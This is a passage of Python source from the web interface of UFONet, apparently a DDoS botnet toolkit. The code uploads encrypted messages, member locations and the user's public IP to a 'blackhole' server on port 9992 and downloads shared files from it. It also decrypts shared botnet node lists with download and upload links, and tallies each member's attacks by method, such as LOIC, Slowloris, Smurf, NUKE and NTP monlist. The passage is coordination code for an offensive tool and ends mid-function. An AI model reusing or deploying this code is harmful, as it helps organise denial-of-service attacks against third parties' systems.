  6106. self.encryptedtext = "" # clean encryptedtext buffer
  6107. stream = str(stream_creation)+streams_msg_sep+str(stream_url)+streams_msg_sep+str(stream_topic)
  6108. try:
  6109. host = blackhole_ip
  6110. cport = 9992 # port used by mothership grider (server side script)
  6111. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6112. gs.settimeout(5.0)
  6113. gs.connect((host, cport))
  6114. gs.send(stream.encode())
  6115. gs.close()
  6116. try: # download latest links after submit
  6117. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  6118. f = open(self.streams_file, "w") # write updates to streams.txt
  6119. f.write(streams)
  6120. f.close()
  6121. except:
  6122. pass
  6123. streams_trans = "[Info] [AI] Stream transferred! -> [OK!]\n"
  6124. except:
  6125. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  6126. except:
  6127. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  6128. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6129. f = open("/tmp/out", "w")
  6130. f.write(streams_trans)
  6131. f.write(end_mark)
  6132. f.close()
  6133. if page == "/cmd_transfer_stream_update":
  6134. if not os.path.exists('/tmp/out'):
  6135. open('/tmp/out', 'w').close()
  6136. with open('/tmp/out', 'r') as f:
  6137. self.pages["/cmd_transfer_stream_update"] = "<pre>"+f.read()+"<pre>"
  6138. if page == "/cmd_transfer_globalnet":
  6139. self.pages["/cmd_transfer_globalnet"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6140. blackhole_ip = pGet["globalnet_source2"]
  6141. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6142. try:
  6143. globalnet_enckey = pGet["globalnet_enckey"]
  6144. except:
  6145. globalnet_enckey = ""
  6146. globalnet_owner = pGet["globalnet_owner"]
  6147. if len(globalnet_owner) < 3 or len(globalnet_owner) > 12: # default owner
  6148. globalnet_owner = "Anonymous"
  6149. globalnet_comment = pGet["globalnet_comment"]
  6150. if len(globalnet_comment) < 3 or len(globalnet_comment) > 90: # default comment
  6151. globalnet_comment = "-"
  6152. globalnet_warp = pGet["globalnet_warp"]
  6153. try:
  6154. globalnet_ip = requests.get(check_ip_service3).text
  6155. except:
  6156. try:
  6157. globalnet_ip = requests.get(check_ip_service2).text
  6158. except:
  6159. try:
  6160. globalnet_ip = requests.get(check_ip_service1).text
  6161. except:
  6162. globalnet_ip = "Unknown!"
  6163. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6164. if globalnet_enckey != "": # stream creation + encryption + package send
  6165. try:
  6166. self.encrypt(globalnet_enckey, globalnet_owner)
  6167. if self.encryptedtext:
  6168. globalnet_owner = self.encryptedtext
  6169. self.encryptedtext = "" # clean encryptedtext buffer
  6170. self.encrypt(globalnet_enckey, globalnet_comment)
  6171. if self.encryptedtext:
  6172. globalnet_comment = self.encryptedtext
  6173. self.encryptedtext = "" # clean encryptedtext buffer
  6174. self.encrypt(globalnet_enckey, globalnet_warp)
  6175. if self.encryptedtext:
  6176. globalnet_warp = self.encryptedtext
  6177. self.encryptedtext = "" # clean encryptedtext buffer
  6178. self.encrypt(globalnet_enckey, globalnet_ip)
  6179. if self.encryptedtext:
  6180. globalnet_ip = self.encryptedtext
  6181. self.encryptedtext = "" # clean encryptedtext buffer
  6182. stream = str(globalnet_owner)+globalnet_msg_sep+str(globalnet_comment)+globalnet_msg_sep+str(globalnet_warp)+globalnet_msg_sep+str(globalnet_ip)
  6183. try:
  6184. host = blackhole_ip
  6185. cport = 9992 # port used by mothership grider (server side script)
  6186. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6187. gs.settimeout(5.0)
  6188. gs.connect((host, cport))
  6189. gs.send(stream.encode())
  6190. gs.close()
  6191. try: # download latest globalnet after submit
  6192. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  6193. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  6194. f.write(globalnet)
  6195. f.close()
  6196. except:
  6197. pass
  6198. globalnet_trans = "[Info] [AI] Location transferred! -> [OK!]\n"
  6199. except:
  6200. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  6201. except:
  6202. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  6203. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6204. f = open("/tmp/out", "w")
  6205. f.write(globalnet_trans)
  6206. f.write(end_mark)
  6207. f.close()
  6208. if page == "/cmd_transfer_globalnet_update":
  6209. if not os.path.exists('/tmp/out'):
  6210. open('/tmp/out', 'w').close()
  6211. with open('/tmp/out', 'r') as f:
  6212. self.pages["/cmd_transfer_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  6213. if page == "/cmd_sync_board":
  6214. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  6215. blackhole_ip = pGet["board_source"]
  6216. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6217. try:
  6218. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  6219. f = open(self.board_file, "w") # write updates to board.txt
  6220. f.write(board)
  6221. f.close()
  6222. self.board_text = board
  6223. except:
  6224. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  6225. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6226. f = open("/tmp/out", "w")
  6227. f.write(str(board))
  6228. f.write(end_mark)
  6229. f.close()
  6230. if page == "/cmd_sync_board_update":
  6231. if not os.path.exists('/tmp/out'):
  6232. open('/tmp/out', 'w').close()
  6233. with open('/tmp/out', 'r') as f:
  6234. stream = f.read()
  6235. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  6236. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  6237. if page == "/cmd_send_message_board":
  6238. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6239. blackhole_ip = pGet["board_source"]
  6240. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6241. try:
  6242. board_key = pGet["board_key"]
  6243. except:
  6244. board_key = ""
  6245. try:
  6246. board_topic = pGet["board_topic"]
  6247. except:
  6248. board_topic = ""
  6249. try:
  6250. board_message = pGet["stream_txt"]
  6251. except:
  6252. board_message = ""
  6253. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6254. if board_key != "" or board_topic != "" or board_message != "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  6255. try:
  6256. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  6257. board_data = json.load(board_json_file)
  6258. board_json_file.close()
  6259. board_nickname = board_data["profile_nick"]
  6260. self.encrypt(board_key, board_nickname)
  6261. if self.encryptedtext:
  6262. board_nickname = self.encryptedtext
  6263. self.encryptedtext = "" # clean encryptedtext buffer
  6264. board_icon = board_data["profile_icon"]
  6265. board_icon = board_icon.replace("link", "") # keep just icon number
  6266. board_id = board_data["profile_token"]
  6267. self.encrypt(board_key, board_message)
  6268. if self.encryptedtext:
  6269. board_message = self.encryptedtext
  6270. self.encryptedtext = "" # clean encryptedtext buffer
  6271. if board_topic == "general":
  6272. board_topic = 1
  6273. elif board_topic == "opsec":
  6274. board_topic = 2
  6275. elif board_topic == "faq":
  6276. board_topic = 3
  6277. elif board_topic == "bugs":
  6278. board_topic = 4
  6279. elif board_topic == "media":
  6280. board_topic = 5
  6281. else:
  6282. board_topic = 1
  6283. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  6284. try:
  6285. host = blackhole_ip
  6286. cport = 9992 # port used by mothership grider (server side script)
  6287. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6288. gs.settimeout(30)
  6289. gs.connect((host, cport))
  6290. gs.send(stream.encode())
  6291. gs.close()
  6292. try: # download latest board after submit
  6293. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  6294. f = open(self.board_file, "w") # write updates to board.txt
  6295. f.write(board)
  6296. f.close()
  6297. except:
  6298. pass
  6299. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  6300. except:
  6301. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  6302. except:
  6303. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  6304. f = open("/tmp/out", "w")
  6305. f.write(board_trans)
  6306. f.write(end_mark)
  6307. f.close()
  6308. if page == "/cmd_send_message_board_update":
  6309. if not os.path.exists('/tmp/out'):
  6310. open('/tmp/out', 'w').close()
  6311. with open('/tmp/out', 'r') as f:
  6312. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  6313. if page == "/cmd_decrypt":
  6314. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  6315. try:
  6316. news_key = pGet["news_key"]
  6317. except:
  6318. news_key = ""
  6319. try:
  6320. missions_key = pGet["missions_key"]
  6321. except:
  6322. missions_key = ""
  6323. end_mark = "\n[Info] [AI] End of decryption."
  6324. if news_key != "": # news decryption
  6325. self.decrypted_news = []
  6326. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6327. news_key = pGet["news_key"]
  6328. for news_text in self.list_news:
  6329. self.decrypt(news_key, news_text)
  6330. if self.decryptedtext:
  6331. if len(self.decryptedtext) < 2:
  6332. self.decrypted_news.append(nodec_text)
  6333. else:
  6334. self.decrypted_news.append(self.decryptedtext)
  6335. else:
  6336. self.decrypted_news.append(nodec_text)
  6337. self.decryptedtext = "" # clean decryptedtext buffer
  6338. f = open("/tmp/out", "w")
  6339. num_news = 0 # news counter
  6340. for m in self.decrypted_news:
  6341. num_news = num_news + 1
  6342. f.write("["+str(num_news)+"] " + str(m)+"\n")
  6343. f.write(end_mark)
  6344. f.close()
  6345. else:
  6346. if missions_key != "": # missions decryption
  6347. self.decrypted_missions = []
  6348. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6349. missions_key = pGet["missions_key"]
  6350. for missions_text in self.list_missions:
  6351. self.decrypt(missions_key, missions_text)
  6352. if self.decryptedtext:
  6353. if len(self.decryptedtext) < 2:
  6354. self.decrypted_missions.append(nodec_text)
  6355. else:
  6356. self.decrypted_missions.append(self.decryptedtext)
  6357. else:
  6358. self.decrypted_missions.append(nodec_text)
  6359. self.decryptedtext = "" # clean decryptedtext buffer
  6360. f = open("/tmp/out", "w")
  6361. num_mission = 0 # missions counter
  6362. for m in self.decrypted_missions:
  6363. num_mission = num_mission + 1
  6364. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  6365. f.write(end_mark)
  6366. f.close()
  6367. else: # blackholes (nodes.dat) decryption + data showing
  6368. self.decrypted_blackholes = []
  6369. nodec_text = "*** [This message cannot be solved with that key...]"
  6370. blackhole_key = pGet["blackhole_key"]
  6371. for blackholes_text in self.list_blackholes:
  6372. self.decrypt(blackhole_key, blackholes_text)
  6373. if self.decryptedtext:
  6374. self.decrypted_blackholes.append(self.decryptedtext)
  6375. else:
  6376. self.decrypted_blackholes.append(nodec_text)
  6377. self.decryptedtext = "" # clean decryptedtext buffer
  6378. f = open("/tmp/out", "w")
  6379. num_blackholes = 0 # blackholes counter
  6380. for b in self.decrypted_blackholes:
  6381. num_blackholes = num_blackholes + 1
  6382. if blackhole_sep in b: # IP | Mode | Comment | Actions
  6383. s = b.rsplit(blackhole_sep, 1)[0]
  6384. ip = str(s.rsplit(blackhole_sep, 1)[0])
  6385. mode = str(s.rsplit(blackhole_sep, 1)[1])
  6386. if mode == "D": # Download only mode
  6387. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  6388. elif mode == "U": # Upload only mode
  6389. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  6390. else: # Upload/Download mode
  6391. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  6392. comment = str(b.rsplit(blackhole_sep, 1)[1])
  6393. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  6394. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  6395. else:
  6396. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  6397. f.write(end_mark)
  6398. f.close()
  6399. if page == "/cmd_decrypt_update":
  6400. if not os.path.exists('/tmp/out'):
  6401. open('/tmp/out', 'w').close()
  6402. with open('/tmp/out', 'r') as f:
  6403. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  6404. if page == "/news":
  6405. self.pages["/news"] = self.html_news()
  6406. if page == "/tv":
  6407. self.pages["/tv"] = self.html_tv()
  6408. if page == "/missions":
  6409. self.pages["/missions"] = self.html_missions()
  6410. if page == "/board":
  6411. self.pages["/board"] = self.html_board()
  6412. if page == "/grid":
  6413. self.pages["/grid"] = self.html_grid()
  6414. if page == "/wargames":
  6415. self.pages["/wargames"] = self.html_wargames()
  6416. if page == "/links":
  6417. self.pages["/links"] = self.html_links()
  6418. if page == "/streams":
  6419. self.pages["/streams"] = self.html_streams()
  6420. if page == "/games":
  6421. self.pages["/games"] = self.html_games()
  6422. if page == "/spaceinvaders":
  6423. self.pages["/spaceinvaders"] = self.html_spaceinvaders()
  6424. if page == "/browser":
  6425. self.pages["/browser"] = self.html_browser()
  6426. if page == "/radar":
  6427. self.pages["/radar"] = self.html_globalnet()
  6428. if page == "/grid_profile":
  6429. if pGet=={}:
  6430. self.pages["/grid_profile"] = self.html_grid_profile()
  6431. else:
  6432. self.save_grid(pGet)
  6433. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  6434. if page == "/board_profile":
  6435. if pGet =={}:
  6436. self.pages["/board_profile"] = self.html_board_profile()
  6437. else:
  6438. self.save_profile(pGet)
  6439. self.pages["/board_profile"] = self.html_board_profile_submit()
  6440. if page == "/board_remove":
  6441. self.pages["/board_remove"] = self.html_board_remove()
  6442. if page == "/grid_remove":
  6443. self.pages["/grid_remove"] = self.html_grid_remove()
  6444. if page == "/cmd_decrypt_moderator_board":
  6445. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  6446. try:
  6447. board_key = pGet["board_key"]
  6448. except:
  6449. board_key = ""
  6450. try:
  6451. filter = pGet["filter"]
  6452. except:
  6453. filter = ""
  6454. end_mark = "\n[Info] [AI] End of decryption."
  6455. if board_key != "": # board decryption
  6456. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  6457. f = open("/tmp/out", "w")
  6458. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  6459. f.write(str(b)+"\n")
  6460. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  6461. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  6462. if board_msg_sep in m:
  6463. m = m.split(board_msg_sep)
  6464. topic = m[0] # topic
  6465. t = m[1] # icon
  6466. n = m[2] # nick
  6467. g = m[3] # id
  6468. l = m[4] # comment
  6469. if topic == "1":
  6470. topic = "/GENERAL"
  6471. elif topic == "2":
  6472. topic = "/#OPSEC "
  6473. elif topic == "3":
  6474. topic = "/FAQ "
  6475. elif topic == "4":
  6476. topic = "/BUGS "
  6477. elif topic == "5":
  6478. topic = "/MEDIA "
  6479. else:
  6480. topic = "/BUGS[!]"
  6481. operator_img = open("core/images/crew/link"+str(t)+".txt").read()
  6482. icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
  6483. self.decrypt(board_key, n)
  6484. if self.decryptedtext:
  6485. nick = self.decryptedtext
  6486. else:
  6487. nick = 'Anonymous' # We are legion!
  6488. try:
  6489. nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
  6490. except:
  6491. pass
  6492. if len(nick) < 3:
  6493. nick = 'Anonymous'
  6494. self.decryptedtext = "" # clean decryptedtext buffer
  6495. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  6496. self.decrypt(board_key, l)
  6497. if self.decryptedtext:
  6498. msg = self.decryptedtext
  6499. else:
  6500. msg = nodec_text
  6501. try:
  6502. msg = msg.decode('latin-1')
  6503. except:
  6504. pass
  6505. if len(msg) < 2:
  6506. msg = nodec_text
  6507. self.decryptedtext = "" # clean decryptedtext buffer
  6508. if filter in topic or filter == "ALL": # filter content by user selection
  6509. b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
  6510. b += "<font size=+2>"+str(topic)+"</font>"
  6511. b += "<br>by "+str(nick)+"<br><br>"
  6512. b += str(msg) + "</td></tr>"
  6513. f.write(str(b)+"\n")
  6514. else:
  6515. pass
  6516. else: # not valid stream data
  6517. pass
  6518. b="</table>"
  6519. f.write(str(b)+"\n")
  6520. f.write(end_mark)
  6521. f.close()
  6522. if page == "/cmd_decrypt_moderator_board_update":
  6523. if not os.path.exists('/tmp/out'):
  6524. open('/tmp/out', 'w').close()
  6525. with open('/tmp/out', 'r') as f:
  6526. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  6527. if page == "/cmd_decrypt_grid":
  6528. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  6529. try:
  6530. grid_key = pGet["grid_key"]
  6531. except:
  6532. grid_key = ""
  6533. end_mark = "[Info] [AI] End of decryption."
  6534. if grid_key != "": # grid decryption
  6535. # Mothership stats counters
  6536. mothership_members = 0
  6537. unknown_members = 0
  6538. member_1 = 0 # Rookie
  6539. member_2 = 0 # Mercenary
  6540. member_3 = 0 # Bandit
  6541. member_4 = 0 # UFOmmander!
  6542. member_5 = 0 # UFOl33t!
  6543. mothership_missions = 0
  6544. mothership_transferred = 0
  6545. mothership_attacks = 0
  6546. mothership_loic = 0
  6547. mothership_loris = 0
  6548. mothership_ufosyn = 0
  6549. mothership_spray = 0
  6550. mothership_smurf = 0
  6551. mothership_xmas = 0
  6552. mothership_nuke = 0
  6553. mothership_tachyon = 0
  6554. mothership_monlist = 0
  6555. mothership_fraggle = 0
  6556. mothership_sniper = 0
  6557. mothership_ufoack = 0
  6558. mothership_uforst = 0
  6559. mothership_droper = 0
  6560. mothership_overlap = 0
  6561. mothership_pinger = 0
  6562. mothership_ufoudp = 0
  6563. mothership_chargo = 0
  6564. mothership_dorking = 0
  6565. mothership_maxchargo = 0
  6566. nodec_text = "KEY?"
  6567. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_fraggle' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('fraggle','"+str(grid_key)+"')>FRAGGLE:</a></td><td align='center'><a id='filter_sniper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('sniper','"+str(grid_key)+"')>SNIPER:</a></td><td align='center'><a id='filter_ufoack' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoack','"+str(grid_key)+"')>UFOACK:</a></td><td align='center'><a id='filter_uforst' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('uforst','"+str(grid_key)+"')>UFORST:</a></td><td align='center'><a id='filter_droper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('droper','"+str(grid_key)+"')>DROPER:</a></td><td align='center'><a id='filter_overlap' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('overlap','"+str(grid_key)+"')>OVERLAP:</a></td><td align='center'><a id='filter_pinger' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('pinger','"+str(grid_key)+"')>PINGER:</a></td><td align='center'><a id='filter_ufoudp' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoudp','"+str(grid_key)+"')>UFOUDP:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  6568. grid_key = pGet["grid_key"]
  6569. f = open("/tmp/out", "w")
  6570. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  6571. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
  6572. if grid_msg_sep in m:
  6573. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4|26->1.5)
  6574. m = m.split(grid_msg_sep)
  6575. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  6576. grid_nickname = m[0] # nickname
  6577. self.decrypt(grid_key, grid_nickname)
  6578. if self.decryptedtext:
  6579. grid_nickname = self.decryptedtext
  6580. else:
  6581. grid_nickname = nodec_text
  6582. unknown_members = unknown_members + 1 # add members as unknown
  6583. self.decryptedtext = "" # clean decryptedtext buffer
  6584. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  6585. grid_nickname = "Anonymous"
  6586. else:
  6587. grid_nickname = str(grid_nickname) # nickname
  6588. grid_ranking = m[1] # ranking
  6589. self.decrypt(grid_key, grid_ranking)
  6590. if self.decryptedtext:
  6591. try:
  6592. grid_ranking = int(self.decryptedtext)
  6593. except:
  6594. grid_ranking = nodec_text
  6595. else:
  6596. grid_ranking = nodec_text
  6597. self.decryptedtext = "" # clean decryptedtext buffer
  6598. if grid_ranking == 1: #Rookie
  6599. grid_ranking = "<font color='white' size='4'>*</font>"
  6600. member_1 = member_1 + 1
  6601. elif grid_ranking == 2: # Mercenary
  6602. grid_ranking = "<font color='cyan' size='4'>**</font>"
  6603. member_2 = member_2 + 1
  6604. elif grid_ranking == 3: # Bandit
  6605. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  6606. member_3 = member_3 + 1
  6607. elif grid_ranking == 4: # UFOmmander!
  6608. grid_ranking = "<font color='blue' size='4'>****</font>"
  6609. member_4 = member_4 + 1
  6610. elif grid_ranking == 5: # UFOl33t!
  6611. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  6612. member_5 = member_5 + 1
  6613. else:
  6614. grid_ranking = nodec_text
  6615. grid_totalchargo = m[2] # total chargo
  6616. self.decrypt(grid_key, grid_totalchargo)
  6617. if self.decryptedtext:
  6618. grid_totalchargo = self.decryptedtext
  6619. else:
  6620. grid_totalchargo = nodec_text
  6621. self.decryptedtext = "" # clean decryptedtext buffer
  6622. try: # parse for int
  6623. grid_totalchargo = int(grid_totalchargo)
  6624. mothership_chargo = mothership_chargo + grid_totalchargo
  6625. except:
  6626. grid_totalchargo = nodec_text
  6627. grid_dorking = m[3] # dorking
  6628. self.decrypt(grid_key, grid_dorking)
  6629. if self.decryptedtext:
  6630. grid_dorking = self.decryptedtext
  6631. else:
  6632. grid_dorking = nodec_text
  6633. self.decryptedtext = "" # clean decryptedtext buffer
  6634. try: # parse for int
  6635. grid_dorking = int(grid_dorking)
  6636. mothership_dorking = mothership_dorking + grid_dorking
  6637. except:
  6638. grid_dorking = nodec_text
  6639. grid_transferred = m[4] # transferred
  6640. self.decrypt(grid_key, grid_transferred)
  6641. if self.decryptedtext:
  6642. grid_transferred = self.decryptedtext
  6643. else:
  6644. grid_transferred = nodec_text
  6645. self.decryptedtext = "" # clean decryptedtext buffer
  6646. try: # parse for int
  6647. grid_transferred = int(grid_transferred)
  6648. mothership_transferred = mothership_transferred + grid_transferred
  6649. except:
  6650. grid_transferred = nodec_text
  6651. grid_maxchargo = m[5] # maxchargo
  6652. self.decrypt(grid_key, grid_maxchargo)
  6653. if self.decryptedtext:
  6654. grid_maxchargo = self.decryptedtext
  6655. else:
  6656. grid_maxchargo = nodec_text
  6657. self.decryptedtext = "" # clean decryptedtext buffer
  6658. try: # parse for int
  6659. grid_maxchargo = int(grid_maxchargo)
  6660. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  6661. except:
  6662. grid_maxchargo = nodec_text
  6663. grid_missions = m[6] # missions
  6664. self.decrypt(grid_key, grid_missions)
  6665. if self.decryptedtext:
  6666. grid_missions = self.decryptedtext
  6667. else:
  6668. grid_missions = nodec_text
  6669. self.decryptedtext = "" # clean decryptedtext buffer
  6670. try: # parse for int
  6671. grid_missions = int(grid_missions)
  6672. mothership_missions = mothership_missions + grid_missions
  6673. except:
  6674. grid_missions = nodec_text
  6675. grid_attacks = m[7] # attacks
  6676. self.decrypt(grid_key, grid_attacks)
  6677. if self.decryptedtext:
  6678. grid_attacks = self.decryptedtext
  6679. else:
  6680. grid_attacks = nodec_text
  6681. self.decryptedtext = "" # clean decryptedtext buffer
  6682. try: # parse for int
  6683. grid_attacks = int(grid_attacks)
  6684. mothership_attacks = mothership_attacks + grid_attacks
  6685. except:
  6686. grid_attacks = nodec_text
  6687. grid_loic = m[8] # loic
  6688. self.decrypt(grid_key, grid_loic)
  6689. if self.decryptedtext:
  6690. grid_loic = self.decryptedtext
  6691. else:
  6692. grid_loic = nodec_text
  6693. self.decryptedtext = "" # clean decryptedtext buffer
  6694. try: # parse for int
  6695. grid_loic = int(grid_loic)
  6696. mothership_loic = mothership_loic + grid_loic
  6697. except:
  6698. grid_loic = nodec_text
  6699. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  6700. grid_loris = m[9] # loris
  6701. self.decrypt(grid_key, grid_loris)
  6702. if self.decryptedtext:
  6703. grid_loris = self.decryptedtext
  6704. else:
  6705. grid_loris = nodec_text
  6706. self.decryptedtext = "" # clean decryptedtext buffer
  6707. try: # parse for int
  6708. grid_loris = int(grid_loris)
  6709. mothership_loris = mothership_loris + grid_loris
  6710. except:
  6711. grid_loris = nodec_text
  6712. else:
  6713. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  6714. self.decrypt(grid_key, grid_loris)
  6715. if self.decryptedtext:
  6716. grid_loris = self.decryptedtext
  6717. else:
  6718. grid_loris = nodec_text
  6719. self.decryptedtext = "" # clean decryptedtext buffer
  6720. try: # parse for int
  6721. grid_loris = int(grid_loris)
  6722. mothership_loris = mothership_loris + grid_loris
  6723. except:
  6724. grid_loris = nodec_text
  6725. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  6726. grid_ufosyn = m[10] # ufosyn
  6727. self.decrypt(grid_key, grid_ufosyn)
  6728. if self.decryptedtext:
  6729. grid_ufosyn = self.decryptedtext
  6730. else:
  6731. grid_ufosyn = nodec_text
  6732. self.decryptedtext = "" # clean decryptedtext buffer
  6733. try: # parse for int
  6734. grid_ufosyn = int(grid_ufosyn)
  6735. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  6736. except:
  6737. grid_ufosyn = nodec_text
  6738. else:
  6739. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  6740. self.decrypt(grid_key, grid_ufosyn)
  6741. if self.decryptedtext:
  6742. grid_ufosyn = self.decryptedtext
  6743. else:
